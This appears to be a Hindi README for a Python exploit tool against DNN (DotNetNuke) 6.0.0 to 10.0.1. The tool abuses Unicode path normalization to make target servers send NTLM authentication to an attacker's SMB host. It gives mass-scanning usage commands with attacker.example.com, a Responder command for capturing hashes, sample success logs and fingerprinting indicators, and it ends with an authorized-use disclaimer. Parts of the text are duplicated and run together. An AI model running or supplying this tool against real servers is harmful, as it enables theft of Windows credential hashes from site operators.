
यह एक्सप्लॉइट DNN (पूर्व में DotNetNuke) संस्करण 6.0.0 से 10.0.1 से पहले के संस्करणों में एक भेद्यता को लक्षित करता है जो हमलावरों को यूनिकोड पथ सामान्यीकरण हमलों के माध्यम से NTLM हैश का खुलासा करने की अनुमति देता है।
यह शोषण DNN (पूर्व में DotNetNuke) संस्करण 6.0.0 से 10.0.1 से पहले तक की एक कमजोरी को लक्षित करता है जो हमलावरों को यूनिकोड पथ सामान्यीकरण हमलों के माध्यम से NTLM हैश प्रकट करने की अनुमति देता है।
यह शोषण विंडोज/.NET की खामियों और यूनिकोड सामान्यीकरण का दुरुपयोग करता है ताकि लक्ष्य DNN सर्वर को हमलावर-नियंत्रित सर्वर पर SMB अनुरोध करने के लिए मजबूर किया जा सके, जिससे प्रमाणीकरण प्रक्रिया के दौरान संभावित रूप से NTLM हैश उजागर हो सकते हैं।
pip install -r requirements.txt से स्थापित करें)python main.py targets.txt attacker.example.com
python main.py targets.txt 192.168.1.100 -t 20 --timeout 15
targets: DNN होस्ट की सूची वाली फ़ाइल (एक प्रति पंक्ति)smb_server: NTLM हैश कैप्चर करने के लिए SMB सर्वर होस्टनाम/IP-t, --threads: समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 10)--timeout: सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 10)लक्ष्य URL वाली एक टेक्स्ट फ़ाइल बनाएं, एक प्रति पंक्ति:
http://target1.example.com
https://target2.example.com:8080
target3.example.com
आप NTLM हैश कैप्चर करने के लिए Responder जैसे टूल का उपयोग कर सकते हैं:
responder -I eth0 -wrf
या आउट-ऑफ-बैंड डिटेक्शन के लिए Burp Collaborator का उपयोग करें।
[2025-01-XX-XX:XX:XX] [INFO] Starting DNN NTLM hash disclosure exploit against 5 targets
[2025-01-XX-XX:XX:XX] [INFO] SMB Server: attacker.example.com
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] DNN indicator found: dnn_IsMobile
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] File upload endpoint accessible
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] Exploit payload sent successfully
[2025-01-XX-XX:XX:XX] [INFO] [target1.com] Check your SMB server for incoming NTLM authentication attempts
शोषण निम्नलिखित DNN संकेतकों की तलाश करता है:
dnn_IsMobile कुकीdotnetnukednnconnectDNN Platformयह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इसका जिम्मेदारी से उपयोग करें और केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है।